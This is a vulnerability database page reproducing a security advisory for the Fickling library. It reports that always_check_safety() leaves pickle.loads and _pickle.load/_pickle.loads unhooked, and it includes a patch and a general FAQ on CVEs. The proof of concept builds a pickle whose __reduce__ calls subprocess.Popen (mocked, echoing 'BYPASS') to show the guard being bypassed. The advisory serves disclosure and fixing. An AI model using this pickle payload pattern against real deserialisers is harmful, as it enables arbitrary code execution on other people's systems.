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326,895

Total vulnerabilities in the database

Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook(). Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only:

pickle.load
pickle.Unpickler
_pickle.Unpickler

It does not patch:

pickle.loads
_pickle.load
_pickle.loads

Reproduction (clean upstream)

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, ([&#039;echo&#039;,&#039;BYPASS&#039;],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch(&#039;subprocess.Popen&#039;) as popen_mock:
    pickle.loads(data)
    print(&#039;bypass sink called?&#039;, popen_mock.called)  # True

# Control path is blocked
with patch(&#039;subprocess.Popen&#039;) as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print(&#039;blocked sink called?&#039;, popen_mock.called)  # False

Observed on vulnerable code:

pickle.loads executes payload
pickle.load is blocked

Minimal patch diff

--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads

Validation after patch

pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
sink not called in any path

Regression tests added locally:

test_run_hook_blocks_pickle_loads
test_run_hook_blocks__pickle_load_and_loads in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

Published: Mar 4, 2026
Updated: Mar 5, 2026
GHSA: GHSA-wccx-j62j-r448
Severity: High
Exploit:

No technical information available.

CWEs:

CWE-693

Affected Software
References

Software	From	Fixed in
fickling	-	0.1.9

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.